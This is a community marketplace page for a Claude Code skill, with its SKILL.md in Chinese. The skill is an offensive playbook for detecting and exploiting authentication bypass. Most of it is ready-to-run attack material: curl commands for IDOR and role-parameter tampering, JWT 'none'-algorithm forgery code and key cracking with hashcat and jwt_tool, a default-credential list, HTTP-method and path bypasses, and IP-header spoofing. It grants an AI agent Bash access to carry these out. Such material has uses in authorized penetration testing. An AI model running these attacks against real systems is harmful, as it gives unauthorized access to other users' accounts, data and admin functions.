Claude Code Plugins

Community-maintained marketplace

Feedback
246
0

认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。

Install Skill

1Download skill
2Enable skills in Claude

Open claude.ai/settings/capabilities and find the "Skills" section

3Upload to Claude

Click "Upload skill" and select the downloaded ZIP file

Note: Please verify skill by going through its instructions before using it.

SKILL.md

name auth-bypass
description 认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。
allowed-tools Bash, Read, Write

认证绕过 (Authentication Bypass)

绕过应用程序的认证和授权机制,获取未授权访问。

常见指示器

  • 登录/注册功能
  • 用户 ID 参数(user_id=, uid=, id=)
  • JWT Token
  • Session Cookie
  • 角色/权限参数(role=, is_admin=, level=)
  • API 端点(/api/admin/, /api/user/)

检测方法

1. IDOR 测试

# 修改用户 ID
curl "http://target.com/api/user/1" -H "Cookie: session=xxx"
curl "http://target.com/api/user/2" -H "Cookie: session=xxx"

# 修改资源 ID
curl "http://target.com/api/order/1001" -H "Cookie: session=xxx"
curl "http://target.com/api/order/1002" -H "Cookie: session=xxx"

2. 权限参数测试

# 修改角色参数
curl -X POST "http://target.com/api/profile" \
  -H "Cookie: session=xxx" \
  -d '{"name":"test","role":"admin"}'

# 修改权限标志
curl -X POST "http://target.com/api/profile" \
  -H "Cookie: session=xxx" \
  -d '{"name":"test","is_admin":true}'

攻击向量

IDOR (不安全的直接对象引用)

# 水平越权 - 访问其他用户数据
/api/user/1 → /api/user/2
/api/order/1001 → /api/order/1002
/download?file=user1.pdf → /download?file=user2.pdf

# 垂直越权 - 访问管理员功能
/api/user/profile → /api/admin/users
/dashboard → /admin/dashboard

# 参数污染
/api/user?id=1 → /api/user?id=1&id=2
/api/user?id[]=1 → /api/user?id[]=1&id[]=2

权限参数篡改

// 修改角色
{"username":"test","role":"user"} → {"username":"test","role":"admin"}

// 修改权限标志
{"username":"test","is_admin":false} → {"username":"test","is_admin":true}

// 修改用户级别
{"username":"test","level":1} → {"username":"test","level":99}

// 添加隐藏参数
{"username":"test"} → {"username":"test","admin":true}

JWT 攻击

# 1. 修改算法为 none
# Header: {"alg":"none","typ":"JWT"}
# 移除签名部分

# 2. 修改算法 RS256 → HS256
# 使用公钥作为 HMAC 密钥签名

# 3. 弱密钥爆破
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256

# 4. 修改 payload
# 解码 → 修改 user_id/role → 重新编码

Session 攻击

# Session 固定
# 1. 获取未认证 session
# 2. 诱导用户使用该 session 登录
# 3. 使用同一 session 访问

# Session 预测
# 分析 session 生成规律,预测有效 session

# Session 劫持
# 通过 XSS 窃取 session cookie

默认凭据

admin:admin
admin:password
admin:123456
root:root
root:toor
test:test
guest:guest
user:user
administrator:administrator

HTTP 方法绕过

# 尝试不同 HTTP 方法
curl -X GET "http://target.com/admin"
curl -X POST "http://target.com/admin"
curl -X PUT "http://target.com/admin"
curl -X DELETE "http://target.com/admin"
curl -X PATCH "http://target.com/admin"
curl -X OPTIONS "http://target.com/admin"
curl -X HEAD "http://target.com/admin"

# 方法覆盖
curl -X POST "http://target.com/admin" -H "X-HTTP-Method-Override: PUT"
curl -X POST "http://target.com/admin" -H "X-Method-Override: PUT"

路径绕过

# 大小写
/admin → /Admin → /ADMIN

# 路径遍历
/admin → /./admin → /../admin/

# URL 编码
/admin → /%61%64%6d%69%6e

# 双斜杠
/admin → //admin → /admin//

# 添加扩展名
/admin → /admin.json → /admin.html

# 添加参数
/admin → /admin?anything → /admin#anything

JWT 工具使用

jwt_tool

# 解码 JWT
python3 jwt_tool.py <JWT>

# 测试所有攻击
python3 jwt_tool.py <JWT> -M at

# 修改 payload
python3 jwt_tool.py <JWT> -T

# 爆破密钥
python3 jwt_tool.py <JWT> -C -d wordlist.txt

手动 JWT 操作

import base64
import json

# 解码
def decode_jwt(token):
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    return header, payload

# 编码 (无签名)
def encode_jwt_none(payload):
    header = {"alg": "none", "typ": "JWT"}
    h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
    p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
    return f"{h.decode()}.{p.decode()}."

绕过技术

前端验证绕过

# 直接调用 API,绕过前端检查
curl "http://target.com/api/admin/users" -H "Cookie: session=xxx"

# 修改响应中的权限标志
# 使用 Burp 修改响应: {"is_admin":false} → {"is_admin":true}

IP 限制绕过

# 添加 IP 头
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

Referer 检查绕过

# 添加 Referer 头
Referer: http://target.com/admin
Referer: http://target.com/

# 空 Referer
Referer:

最佳实践

  1. 先枚举所有 API 端点和参数
  2. 测试 IDOR:修改 ID 参数访问其他用户数据
  3. 测试权限参数:添加 role、is_admin 等参数
  4. 分析 JWT/Session:尝试修改或伪造
  5. 尝试不同 HTTP 方法和路径变形
  6. 检查前端 JS 中的隐藏 API 和参数
  7. 使用 Burp 拦截并修改请求/响应